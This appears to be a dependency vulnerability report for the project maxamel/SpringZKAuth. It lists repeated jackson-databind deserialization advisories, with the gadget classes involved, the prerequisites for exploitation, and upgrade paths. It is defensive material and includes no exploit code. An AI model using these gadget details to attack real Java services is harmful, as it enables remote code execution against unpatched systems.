com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.8.11, 2.9.4 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@1.0.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.1.8.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It allows unauthenticated remote code execution because of an incomplete fix for the CVE-2017-7525 deserialization flaw. This is exploitable by sending maliciously crafted JSON input to the readValue method of the ObjectMapper, bypassing a blacklist that is ineffective if the c3p0 libraries are available in the classpath.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.5, 2.8.11.1, 2.9.5 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. SubTypeValidator.java mishandles default typing when ehcache is used, leading to remote code execution.

NOTE: This vulnerability has also been identified as: CVE-2019-14439

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.9.2, 2.8.11.4, 2.7.9.6 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. A Polymorphic Typing issue was discovered as com.zaxxer.hikari.HikariDataSource was not blocked. Note: This is a different vulnerability than CVE-2019-14540.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10, 2.8.11.5, 2.6.7.3 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. A Polymorphic Typing issue was discovered as com.zaxxer.hikari.HikariConfig was not blocked. Note: This is a different vulnerability than CVE-2019-16335.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10, 2.8.11.5, 2.6.7.3 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It mishandles the interaction between serialization gadgets and typing, related to org.apache.cxf.jaxrs.provider.XSLTJaxbProvider.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10, 2.8.11.5, 2.6.7.3 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. A Polymorphic Typing issue was discovered within org.apache.commons.dbcp.datasources.SharedPoolDataSource was not blocked. An attacker could leverage this gadget type to perform Remote Code Execution attacks through deserialization.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10.1, 2.8.11.5, 2.6.7.3 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. A Polymorphic Typing issue was discovered as com.p6spy.engine.spy.P6DataSource was not blocked. An attacker could leverage this gadget type to perform Remote Code Execution attacks through deserialization.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10.1, 2.8.11.5, 2.6.7.3 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. A Polymorphic Typing issue was discovered related to net.sf.ehcache.hibernate.EhcacheJtaTransactionManagerLookup.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. When Default Typing is enabled for an externally exposed JSON endpoint and the service has the apache-log4j-extra (version 1.2.x) jar in the classpath, and an attacker can provide a JNDI service to access, it is possible to make the service execute a malicious payload.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10.1 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. Two additional net.sf.ehcache gadgets are not blacklisted.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10.2 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data due to an incomplete black list (incomplete fix for CVE-2017-7525). It lacks xbean-reflect/JNDI blocking, as demonstrated by org.apache.xbean.propertyeditor.JndiConverter.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.7.9.7, 2.8.11.5, 2.9.10.3 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.

